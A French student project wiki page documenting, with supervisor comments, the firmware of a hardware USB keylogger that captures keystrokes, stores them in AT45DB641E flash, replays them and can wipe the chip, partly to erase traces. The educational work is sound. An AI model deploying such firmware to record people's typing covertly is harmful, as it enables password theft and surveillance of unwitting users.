On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction <code>Flash_Task</code> d'être executée plus d'une fois.

ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.

Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :

<syntaxhighlight lang="c" line="1">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
uint8_t ReceivedByte;
ReportData->KeyCode[0] = Serial_ReceiveByte();
do {
ReceivedByte = Serial_ReceiveByte();
} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData->KeyCode[0]));

ReportData->Modifier = ReceivedByte;
}
}
</syntaxhighlight>

ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.

Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :
<syntaxhighlight lang="c" line="1">
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
//..

uint8_t KeyCode = KeyboardReport.KeyCode[0];
uint8_t Modifier = KeyboardReport.Modifier;

/* Check if a key has been pressed */
if (KeyCode)
{
/* Toggle status LED to indicate keypress */
LEDs_TurnOnLEDs(LEDS_LED2);

/* Serial communication */
Serial_SendByte(KeyCode);
Serial_SendByte(Modifier);

/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
uint8_t data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;
data[(*page_buffer_size)++] = Modifier;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

LEDs_TurnOffLEDs(LEDS_LED2);
}
}

// ...
}
</syntaxhighlight>

ReX : Même remarque sur les deux <code>Serial_SendByte</code> consécutifs et sur la méthode pour envoyer modificateur et codes de touches.

En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction <code>Serial_SendByte</code>, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.

ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un <code>while(!Serial_IsSendComplete());</code> entre les deux <code>Serial_SendByte</code> ?

On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].

On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.

On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]<ref>Vidéo démo du Keylogger</ref>.

Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.

ReX : Toujours une très bonne vidéo de démonstration.

Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?

ReX : Ils passent en mode DFU ?

Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].

==== Modification du Keylogger ====
[[Fichier:Keylogger schéma connexion uP.png|vignette|400x400px|Schéma décrivant les connexions des broches entre les microcontrôleurs ]]
Lien vers les programmes : [[:Fichier:Keylogger.zip|clic]]

J'ai apporté des modifications sur l'envoi et la réception des données via la liaison série, et l'ajout d'un buffer temporaire avant d'enregistrer dans la flash. De plus, j'utilise des fonctions de <code>string.h</code> afin de rendre le code plus lisible lorsque je veux assigner des valeurs à des tableaux via les fonctions <code>memset</code> et <code>memcpy</code>.

Concernant les envoies d'octets via la liaison série, j'ai donc rajouté des délais avec les fonctions de la librairie <code>Serial.h</code> de LUFA. Le déroulé se passe comme ci-dessous :
<syntaxhighlight lang="c">
while(!Serial_IsSendReady());
Serial_SendData(tableau_de_7_octets);
while(!Serial_IsSendComplete());
.....
while(!Serial_IsSendComplete());
</syntaxhighlight>
Et pour la réception :
<syntaxhighlight lang="c">
if (Serial_IsCharReceived())
{
uint8_t Modifier = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
uint8_t KeyCode1 = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
...
uint8_t KeyCode5 = Serial_ReceiveByte();
}
</syntaxhighlight>
Donc il n'y a plus de boucle qui vérifie le code 0xFF. On n'utilise seulement les fonctions fournit par LUFA maintenant.

De plus, j'ai ajouté les 5 autres KeyCode qui pourrait être renseignés via le rapport clavier sur l'AT90.

On peut voir ci-dessous la nouvelle fonction de création et d'envoi de rapport clavier de l'AT90. Tout d'abord, on enregistre tout les codes à envoyé dans un tableau de 7 octets. Ainsi on a juste à utiliser la fonction <code>Serial_SendData</code> pour envoyer en une fois tout les codes. Ensuite on vérifie si on doit passer à la page suivante dans la flash ou non, et puis on vérifie si on doit enregistrer ou non le buffer de la flash dans la mémoire, pour finir par remplir le buffer de la flash.
<syntaxhighlight lang="c" line="1">
/* Serial communication */
uint8_t Data_to_Send[CODES_PACKET_SIZE];

Data_to_Send[0] = KeyboardReport.Modifier;
Data_to_Send[1] = KeyboardReport.KeyCode[0];
Data_to_Send[2] = KeyboardReport.KeyCode[1];
Data_to_Send[3] = KeyboardReport.KeyCode[2];
Data_to_Send[4] = KeyboardReport.KeyCode[3];
Data_to_Send[5] = KeyboardReport.KeyCode[4];
Data_to_Send[6] = KeyboardReport.KeyCode[5];

while(!Serial_IsSendReady());
Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);
while(!Serial_IsSendComplete());
_delay_ms(10);

/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1)) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Checking if the flash buffer is full */
if (*flash_buffer_i == FLASH_BUFFER_SIZE) {
/* Recup of the data of the actual page to re-write on */
uint8_t data[FLASH_PAGE_SIZE];
if (*page_buffer_size != 0)
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

memcpy(&(data[*page_buffer_size]), flash_buffer, FLASH_BUFFER_SIZE);

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

memset(flash_buffer, 0, FLASH_BUFFER_SIZE);
*page_buffer_size += FLASH_BUFFER_SIZE;
*flash_buffer_i = 0;
}

/* Writing the Modifier and Keycodes in the flash_buffer */
for (int i = 0; i < CODES_PACKET_SIZE; i++) flash_buffer[(*flash_buffer_i)++] = Data_to_Send[i];
</syntaxhighlight>

ReX : Le test <code>(*flash_buffer_i == FLASH_BUFFER_SIZE)</code> est joueur. Ca passe parce que tu as des paquets de 7 octets pour une taille de bloc de 63 octets. Mais si quelqu'un veut agrandir la taille du bloc ça peut faire mal. Mets une constante pour la taille des paquets (7) et définit la taille de bloc comme un multiple de la taille des paquets :
#define CODES_PACKET_SIZE 7
#define FLASH_BUFFER_SIZE (9*CODES_PACKET_SIZE)

Benjamin : Pas de souci, j'en ai profité aussi pour modifier les autres variables concernant le parcours du buffer de la flash, comme la taille des valeurs à envoyer, la condition dans les boucles et la longueur à copier que l'on renseigne dans la fonction <code>memcpy</code>.

ReX : Parfait. Il te reste une condition à redresser <code>(*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1))</code>. Cela n'arrivera jamais, le plus proche de <code>FLASH_PAGE_INDEX_MAX</code> sera 4*63=252 après cela saute à 5*63=315. Il vaudrait mieux que tu testes <code>(*page_buffer_size+FLASH_BUFFER_SIZE>=FLASH_PAGE_INDEX_MAX)</code> tu ne crois pas ?

Benjamin : Je comprends votre inquiétude. Dans les constantes, j'ai mis <code>FLASH_PAGE_INDEX_MAX</code> à 251 en pensant initialement que j'allais m'en servir comme l'indice maximal que la page pourra atteindre, d'où le <code>+ 1</code> qui nous permettra de vérifier l'indice <code>*page_buffer_size</code> qui sera à 252 quand il aura été rempli 4 fois par <code>flash_buffer</code>. Je vais rajouter une condition avec une comparaison <code>>=</code> au cas où les constantes serait mené à changer dans le futur.

Concernant l'envoi des touches mémorisés qui se trouvent dans la fonction <code>Flash_Task</code> :
<syntaxhighlight lang="c">
void Flash_Task(int *page_actual, int *page_buffer_size, uint8_t *flash_buffer, int *flash_buffer_i)
{
if (Serial_IsCharReceived())
{
uint8_t Command_Byte = Serial_ReceiveByte();

if (Command_Byte == SERIAL_FLASH_RESET)
{
*page_actual = 0;
*page_buffer_size = 0;
memset(flash_buffer, 0, FLASH_BUFFER_SIZE);
*flash_buffer_i = 0;
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0xC7, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x94, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x80, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x9A, NULL, 0);
}

if (Command_Byte == SERIAL_FLASH_GET)
{
int address, byte;
uint8_t Data_to_Send[CODES_PACKET_SIZE];
for (address = 0; address <= (*page_actual); address++)
{
uint8_t data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);
for (byte = 0;
byte < (address == (*page_actual) ? *page_buffer_size : FLASH_PAGE_INDEX_MAX+1);
byte += CODES_PACKET_SIZE)
{
memcpy(Data_to_Send, &(data[byte]), CODES_PACKET_SIZE);

while (!Serial_IsSendReady());
Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);
while (!Serial_IsSendComplete());
_delay_ms(10);
}
}
for (byte = 0; byte < (*flash_buffer_i); byte += CODES_PACKET_SIZE)
{
memcpy(Data_to_Send, &(flash_buffer[byte]), CODES_PACKET_SIZE);

while (!Serial_IsSendReady());
Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);
while (!Serial_IsSendComplete());
_delay_ms(10);
}
}
}
}
</syntaxhighlight>

ReX : Code bien factorisé. Tu as récupéré les commandes pour le reset de la flash dans la documentation des AT45DB641E ? Le reset n'est pas vraiment nécessaire sauf à vouloir effacer ses traces.

Si l'octet de commande est celui du reset de la mémoire, on remet à zéro tout les indices concernant la mémoire et le buffer de la flash. Puis on appelle une commande de la flash qui consiste à réinitialiser toute la puce.

Lorsque la commande est celui de la récupération de la mémoire, on lit et envoie toutes les données des pages mémoires dans la flash, puis on envoie aussi les données qui se trouve potentiellement dans le buffer de la flash.

Au final, dans le programme de l'AT90, on se retrouve avec deux nouvelles variables <code>flash_buffer</code> qui est le tableau de taille 63 (capable de stocker 9 entrées du clavier) et <code>flash_buffer_i</code> qui nous permet de suivre l'évolution du remplissage du buffer. De plus, on peut voir l'ajout d'un délai de 10 millisecondes qui permet d'espacer chaque envoie en plus de la fonction <code>Serial_IsSendComplete</code> afin de ne pas avoir un caractère qui saute à la réception.

Concernant le programme de l'ATMega, pas grand chose n'a changé si ce n'est la façon de recevoir les octets de données des touches tapées :

<syntaxhighlight lang="c">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
ReportData->Modifier = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[0] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[1] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[2] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[3] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[4] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[5] = Serial_ReceiveByte();
}
}
</syntaxhighlight>

On attend à partir de la fonction <code>Serial_IsCharReceived</code> qu'un octet soit sur le flux de la liaison série. Puis on récupère l'octet via la fonction <code>Serial_ReceiveByte</code>. Assez simple finalement ! = )

ReX : D'après ton schéma des connexions de connecteurs je crains que l'AT90 soit en 3.3V et l'ATMega en 5V. Ca pourrait provoquer des problème avec la connexion UART. Tu peux rajouter sur le schéma la position des cavaliers pour que je sois sûr ?



= Documents Rendus =
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]

ReX : Erreur dans la fonction <code>LEDs_ToggleLEDs</code>.

ReX : Erreur dans le <code>makefile</code>, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction <code>main</code> :
CLKSEL0 = 0b00010101; // sélection de l'horloge externe <ref name=":0" group="Code associé" />
CLKSEL1 = 0b00001111; // minimum de 8Mhz
CLKPR = 0b10000000; // modification du diviseur d'horloge (CLKPCE=1)
CLKPR = 0; // 0 pour pas de diviseur (diviseur de 1)
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]

Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]

Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]

=== Liste des références vidéo ===
<references />

=== Liste des références image ===
<references group="Image" />

=== Liste des références code ===
<references group="Code associé" />

Fichier:Keylogger schéma connexion uP.png

2023-08-15T15:13:25Z

Bnguyen1 : Bnguyen1 a téléversé une nouvelle version de Fichier:Keylogger schéma connexion uP.png

Schéma décrivant les connexions des broches entres microcontrôleurs

SE4 2022/2023 EC5

2023-08-15T08:20:41Z

Bnguyen1 : /* Modification du Keylogger */

= Objectifs =

Il vous est demandé de :
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,
** une mémoire flash pour pouvoir sauver les touches capturées ;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.

= Matériel nécessaire =

Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.

[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]

Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.

Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en <code>.fzz</code>).

Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].

<div style="clear: both;" />

= Travail réalisé =

=== Semaine 1 ===
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.

J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.

Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA.

J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.

Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !

Vidéo : [[:Fichier:EC5-Semaine1.mp4]]<ref>Vidéo rapport semaine 1</ref>

ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.

ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.

ReX : La fonction de délai est <code>_delay_ms</code>, le fichier d'inclusion nécessaire est <code>util/delay.h</code>.

=== Semaine 2 ===

L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.

ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.

ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...
[[Fichier:Image.png|vignette]]
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) <ref group="Image">[[:Fichier:Keyboard problem2.jpg]]</ref>, mais le périphérique reste inconnu pour ma machine.

Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (<nowiki>https://youtu.be/Vd0F0XHzchY</nowiki>).

ReX : Tu tentes de faire le projet sous windows ?

Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.

ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec <code>dfu-programmer</code>.

ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?

Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.

Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]<ref>[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]</ref>.

ReX : Heu je te vois taper sur ton clavier ?

Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.

ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !

=== Semaine 3 ===
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance.

Fichier : [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]

Question : Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel.

Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.

=== Semaine 4 ===
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.

ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.

Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].

''MassStorage :'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.

ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.

Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.

ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.

'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).

ReX : Oui :)

''KeyboardHost :'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.

ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.

Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.

ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.

Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.

ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.

Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?

ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...

<s>J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :</s>

Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.

J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.

D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.

ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.

<syntaxhighlight lang="c">
// Et ça m'affiche le caractère A sur l'écran LED
putchar('A');
</syntaxhighlight>
[[Fichier:Arduino-LCD & At90.jpg|centré|vignette|Montage Arduino/LCD & KeyLogger]]
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.

ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?

Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.

ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.

'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)

J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.

Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]

ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.

=== Semaine 5 ===

==== Mémoire ====
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]<ref>Vidéo test mémoire par commande</ref>.

ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.

Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.

